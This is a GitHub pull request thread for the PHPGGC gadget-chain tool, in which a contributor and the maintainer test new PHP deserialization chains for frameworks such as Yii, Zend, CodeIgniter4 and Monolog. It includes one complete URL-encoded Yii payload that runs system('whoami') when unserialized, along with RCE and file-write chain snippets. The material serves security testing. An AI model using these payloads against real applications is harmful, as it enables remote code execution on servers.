add some gadget chains that I had collected #160

CyanM0un · 2023-09-15T15:43:11Z

Hi,
I sorted out a few gadget chains of some frameworks. I have manually checked all of them and some of them have passed the test-gc-compatibility script, which I have modified the corresponding version range in the chain.php.
It seems like no small work for both of us :)

cfreal · 2023-09-16T09:07:57Z

Hello CyanM0un,

That's amazing work ! I'll try and integrate it in the upcoming weeks, as you have said it is a lot of work :)

Charles

cfreal · 2023-10-09T09:12:57Z

Hello,

Still haven't had time to check this amazing work. Will do in the upcoming weeks !

cfreal · 2024-03-26T17:06:54Z

Hello,

I have started working on your GCs, CyanM0un. Every ZendFramework payloads works except for the FI1:

$ php7.1 /tools/web/php/phpggc/phpggc ZendFramework/FI1 --test-payload
Trying to deserialize payload...
PHP Warning:  Exception caught by form: Plugin by name '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' was not found in the registry; used paths:
: 
Stack Trace:
#0 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php(2709): Zend_Loader_PluginLoader->load('/tmp/phpggc110c...')
#1 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php(3458): Zend_Form->_getDecorator('/tmp/phpggc110c...', 'options')
#2 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php(2864): Zend_Form->_loadDecorator(Array, 'k')
#3 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php(2992): Zend_Form->getDecorators()
#4 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php(3010): Zend_Form->render()
#5 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Service/Twitter.php(263): Zend_Form->__toString()
#6 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Ldap/Node.php(195): Zend_Service_Twitter->__call('detachLdap', Array)
#7 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Ldap/Node.php(128) in /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Form.php on line 3015
PHP Fatal error:  Uncaught Zend_Service_Twitter_Exception: Invalid method "detachldap" in /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Service/Twitter.php:266
Stack trace:
#0 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Ldap/Node.php(195): Zend_Service_Twitter->__call('detachLdap', Array)
#1 /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Ldap/Node.php(128): Zend_Ldap_Node->detachLdap()
#2 [internal function]: Zend_Ldap_Node->__wakeup()
#3 /tools/web/php/phpggc/lib/test_payload.php(46): unserialize('O:14:"Zend_Ldap...')
#4 {main}
  thrown in /home/cf/Downloads/ZendFramework-1.12.20/library/Zend/Service/Twitter.php on line 266
FAILURE: Payload did not trigger !

Any ideas why ?

CyanM0un · 2024-03-27T01:26:25Z

Oh, in the last gadget class (Zend_Loader_PluginLoader), the function load will append a '.php' suffix to the file path, so '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' may not be found.

CyanM0un · 2024-03-27T01:31:36Z

Oh, in the last gadget class (Zend_Loader_PluginLoader), the function load will append a '.php' suffix to the file path, so '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' may not be found.

maybe we should specify that the chain only include arbitrary PHP file

cfreal · 2024-03-27T08:21:48Z

Ok, fixed for Zend. Yii2 GCs work as well. Now, Yii/RCE3 tries to use PHPUnit_Extensions_Selenium2TestCase_Session, which is NOT included in the Yii 1.1.20 distribution.

CyanM0un · 2024-03-27T09:33:21Z

I used the command composer create-project yiisoft/yii=1.1.20 yii1 to create the project for finding GCs. To be honest, I am a little confused about the difference and what the standard way may be. Kindly request your opinion :)

cfreal · 2024-03-27T09:43:44Z

Ok, I used the package present in their github repository.

Do you by any chance still have your vendor/composer/installed.json?
Now that I use your procedure, I get:

$ composer create-project yiisoft/yii=1.1.20 yii1
... blabla success
$ cd yii1
$ php7.4 /tools/web/php/phpggc/phpggc Yii/RCE3 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught Error: Call to undefined method DocBlox_Parallel_Worker::curl() in /.../yii1/vendor/phpunit/phpunit-selenium/PHPUnit/Extensions/Selenium2TestCase/Session.php:194
Stack trace:
#0 /.../yii1/vendor/phpunit/phpunit-selenium/PHPUnit/Extensions/Selenium2TestCase/Session.php(173): PHPUnit_Extensions_Selenium2TestCase_Session->stop()
#1 [internal function]: PHPUnit_Extensions_Selenium2TestCase_Session->__destruct()
#2 {main}
  thrown in /.../yii1/vendor/phpunit/phpunit-selenium/PHPUnit/Extensions/Selenium2TestCase/Session.php on line 194
FAILURE: Payload did not trigger !

CyanM0un · 2024-03-27T11:13:33Z

I don't think that's the problem ... I test it right now using the package and it worked, eg:

<?php
include("./vendor/autoload.php");
include("./framework/YiiBase.php");
$poc = "O%3A11%3A%22CDbCriteria%22%3A1%3A%7Bs%3A6%3A%22params%22%3BO%3A12%3A%22CMapIterator%22%3A3%3A%7Bs%3A16%3A%22%00CMapIterator%00_d%22%3BO%3A5%3A%22CForm%22%3A1%3A%7Bs%3A16%3A%22%00CForm%00_elements%22%3BO%3A44%3A%22PHPUnit_Extensions_Selenium2TestCase_Session%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00commands%22%3Ba%3A1%3A%7Bs%3A6%3A%22itemAt%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00url%22%3BO%3A40%3A%22PHPUnit_Extensions_Selenium2TestCase_URL%22%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00driver%22%3BO%3A23%3A%22DocBlox_Parallel_Worker%22%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00CMapIterator%00_keys%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A18%3A%22%00CMapIterator%00_key%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D";
unserialize(urldecode($poc)); // system('whoami')

the error was triggered in the PHPUnit_Extensions_Selenium2TestCase_Session#__destruct() progress, however the GC's function call should be triggered and finished in the CDbCriteria#__wakeup() progress, DocBlox_Parallel_Worker doesn't have the curl function because in the gadgets.php I simply pick up a class (DocBlox_Parallel_Worker) and assign it to the driver field of PHPUnit_Extensions_Selenium2TestCase_Session, which seems should not influence the command execution

cfreal · 2024-03-27T12:05:20Z

Ok, I was missing the YiiBase import :) Making progress!

CyanM0un · 2024-03-27T14:20:40Z

Ok, I was missing the YiiBase import :) Making progress!

Indeed a mount of work. 😂 Best respect for you

cfreal · 2024-07-16T05:07:51Z

Hello @CyanM0un !

I am back to process a few more GCs. In CI4, RCE7, you use \Symfony\Component\HttpFoundation\Request, which does not seem to be included in the standard distribution of the framework. I tried:

$ composer create-project codeigniter4/appstarter=4.1.3 hello123

and

$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip

Any ideas?

cfreal · 2024-07-16T05:12:15Z

gadgetchains/Laminas/RCE/1/chain.php

+
+class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '2.1.5 <= 2.5.3 & 2.11.2';


Which package(s) are these versions for?

it's https://github.com/laminas/laminas-http

cfreal · 2024-07-16T05:17:56Z

gadgetchains/Monolog/FD/1/chain.php

+
+class FD1 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '*';


Fixed version here: it starts at 1.7.0

cfreal · 2024-07-16T05:43:21Z

gadgetchains/Monolog/FW/2/gadgets.php

+
+        public function __construct($path, $data)
+        {
+            $this->buffer = [["level"=>1,"message"=>$data,'datetime'=>new \Gelf\Message(),'level_name'=>'']];


Gelf\Message is not present.

again by composer create-project monolog/monolog=2.0.0 monolog, in fact, a class that has the getTimestamp method will be ok

Same: by default, create-projecŧ seems to include dev dependencies, while install does NOT.
We have generally refrained from including dev dependencies to GCs, as they are not often included.

cfreal · 2024-07-16T05:51:37Z

gadgetchains/Monolog/RCE/10/chain.php

+
+class RCE10 extends \PHPGGC\GadgetChain\RCE\Command
+{
+    public static $version = '2.0.0 & 2.1.0 <= 2.x-dev';


fixed 2.x-dev to 2.9.3+

thanks a lot!

cfreal · 2024-07-16T06:01:58Z

gadgetchains/PHPCSFixer/FD/3/chain.php

+    {
+        $remote_path = $parameters["remote_path"];
+
+        return new \Keradus\CliExecutor\ScriptExecutor($remote_path);


Class missing after: composer require friendsofphp/php-cs-fixer=2.17.3

still by composer create-project friendsofphp/php-cs-fixer=2.17.3 phpcsfixer. I want to clarify that I'm not really that familiar with php development myself, so I'm not quite sure what the differences are between these building ways.

keradus is included as a require-dev dependency of php-cs-fixer, which is why I couldn't see it. It generally will not be present.

cfreal · 2024-07-16T06:08:52Z

gadgetchains/PopPHP/FW/1/gadgets.php

+
+namespace Pop\Mail\Transport\Smtp
+{
+    class EsmtpTransport


Does not exist.

maybe because the below reason or composer install?

cfreal · 2024-07-16T06:09:36Z

gadgetchains/PopPHP/FD/1/chain.php

@@ -0,0 +1,15 @@
+<?php


Does not work against any versions, and version 4.7.0 does not seem to exist? Last being 4.3.4

sorry about the confusion, I used the framework https://github.com/popphp/popphp-framework

cfreal · 2024-07-16T06:13:14Z

gadgetchains/Slim/RCE/2/chain.php

+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Prophecy\Argument\Token\ExactValueToken($function, $parameter);


composer require slim/slim:3.8.1 -> no prophecy

the same reason for composer create-project slim/slim=3.8.1 slim

Same, dev dep.

cfreal · 2024-07-16T06:13:38Z

gadgetchains/Slim/RCE/3/chain.php

+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \phpDocumentor\Reflection\DocBlock\Tags\Method($function, $parameter);


same as above

Same, dev dep.

cfreal · 2024-07-16T06:23:54Z

gadgetchains/Spiral/INFO/1/gadgets.php

+
+		function __construct()
+		{
+			$this->writer = new \XMLWriter;


Uncaught Error: Invalid or uninitialized XMLWriter object in .../vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php:62

I am also confused, this gadget works well in my computer. In fact, look at the __construct code:

public function __construct(DOMElement $context, string $line) { $this->contextNode = $context; $this->writer = new XMLWriter; $this->writer->openMemory(); ...... }

I can't figure out how this will happen ...

What's your PHP version? It looks like it is due to deserialisation.

PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )

CyanM0un · 2024-07-31T12:54:33Z

Hello @CyanM0un !

I am back to process a few more GCs. In CI4, RCE7, you use \Symfony\Component\HttpFoundation\Request, which does not seem to be included in the standard distribution of the framework. I tried:
$ composer create-project codeigniter4/appstarter=4.1.3 hello123
and
$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip
Any ideas?

I used the second way, however, after I get the source code I usually use the command composer install to do the initialization, so \Symfony\Component\HttpFoundation\Request will be concluded.

CyanM0un · 2024-07-31T13:59:05Z

Finally, thank you very much for your continued contact. I also admire your work on Iconv, set the charset to RCE!
(Actually, all these gadget chains I have pulled requests were discovered by our automation tool. I personally think it works very well and I wonder if you could help promote it when we open-source it hahaha :)

cfreal · 2024-08-01T12:59:57Z

Hello @CyanM0un !
I am back to process a few more GCs. In CI4, RCE7, you use \Symfony\Component\HttpFoundation\Request, which does not seem to be included in the standard distribution of the framework. I tried:
$ composer create-project codeigniter4/appstarter=4.1.3 hello123
and
$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip
Any ideas?
I used the second way, however, after I get the source code I usually use the command composer install to do the initialization, so \Symfony\Component\HttpFoundation\Request will be concluded.

This is what I am doing, but still, it does not work:

$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip
$ unzip v4.1.3.zip
$ cd framework-4.1.3
$ composer install
$ phpggc CodeIgniter4/RCE7 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught Error: Object of class __PHP_Incomplete_Class could not be converted to string in /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php:378
Stack trace:
#0 /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php(266): CodeIgniter\Session\Handlers\DatabaseHandler->releaseLock()
#1 /dev/shm/framework-4.1.3/system/Cache/Handlers/RedisHandler.php(70): CodeIgniter\Session\Handlers\DatabaseHandler->close()
#2 [internal function]: CodeIgniter\Cache\Handlers\RedisHandler->__destruct()
#3 {main}
  thrown in /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php on line 378
FAILURE: Payload did not trigger !

CyanM0un · 2024-08-01T13:24:14Z

Hello @CyanM0un !
I am back to process a few more GCs. In CI4, RCE7, you use \Symfony\Component\HttpFoundation\Request, which does not seem to be included in the standard distribution of the framework. I tried:
$ composer create-project codeigniter4/appstarter=4.1.3 hello123
and
$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip
Any ideas?
I used the second way, however, after I get the source code I usually use the command composer install to do the initialization, so \Symfony\Component\HttpFoundation\Request will be concluded.
This is what I am doing, but still, it does not work:
$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip
$ unzip v4.1.3.zip
$ cd framework-4.1.3
$ composer install
$ phpggc CodeIgniter4/RCE7 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught Error: Object of class __PHP_Incomplete_Class could not be converted to string in /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php:378
Stack trace:
#0 /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php(266): CodeIgniter\Session\Handlers\DatabaseHandler->releaseLock()
#1 /dev/shm/framework-4.1.3/system/Cache/Handlers/RedisHandler.php(70): CodeIgniter\Session\Handlers\DatabaseHandler->close()
#2 [internal function]: CodeIgniter\Cache\Handlers\RedisHandler->__destruct()
#3 {main}
  thrown in /dev/shm/framework-4.1.3/system/Session/Handlers/DatabaseHandler.php on line 378
FAILURE: Payload did not trigger !

sorry, my URL is https://github.com/codeigniter4/CodeIgniter4/archive/refs/tags/v4.1.3.zip

CyanM0un added 30 commits September 15, 2023 22:49

Add files via upload

588f026

Add files via upload

1ce1c7f

Add files via upload

3630abd

Add files via upload

3f0af9a

Add files via upload

3ad0f64

Add files via upload

08292bb

Add files via upload

7f83ff0

Add files via upload

34c0bb4

Add files via upload

23c42e0

Add files via upload

97a8d4c

Add files via upload

9454b85

Add files via upload

1060e2e

Add files via upload

470501a

Add files via upload

1699fa4

Add files via upload

5cc966a

Add files via upload

bae565e

Add files via upload

8b7e46d

Add files via upload

b2c4f08

Add files via upload

f6bfa3a

Add files via upload

7d47e3f

Add files via upload

e1115ae

Add files via upload

45ba17d

Add files via upload

d176432

Add files via upload

3f1d9de

Add files via upload

6e038aa

Add files via upload

7429a81

Add files via upload

05aecd0

Add files via upload

d6df11a

Add files via upload

233401e

Add files via upload

041f70b

Add files via upload

6df9518

cfreal reviewed Jul 16, 2024

View reviewed changes

nollium added the gadget chain This issue could yield a new gadget chain. label Feb 26, 2025

add some gadget chains that I had collected #160

Are you sure you want to change the base?

add some gadget chains that I had collected #160

Conversation

CyanM0un commented Sep 15, 2023

cfreal commented Sep 16, 2023

cfreal commented Oct 9, 2023

cfreal commented Mar 26, 2024

CyanM0un commented Mar 27, 2024

CyanM0un commented Mar 27, 2024

cfreal commented Mar 27, 2024

CyanM0un commented Mar 27, 2024

cfreal commented Mar 27, 2024 • edited Loading

CyanM0un commented Mar 27, 2024

cfreal commented Mar 27, 2024

CyanM0un commented Mar 27, 2024

cfreal commented Jul 16, 2024

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

CyanM0un commented Jul 31, 2024

CyanM0un commented Jul 31, 2024

cfreal commented Aug 1, 2024

CyanM0un commented Aug 1, 2024

cfreal commented Mar 27, 2024 •

edited

Loading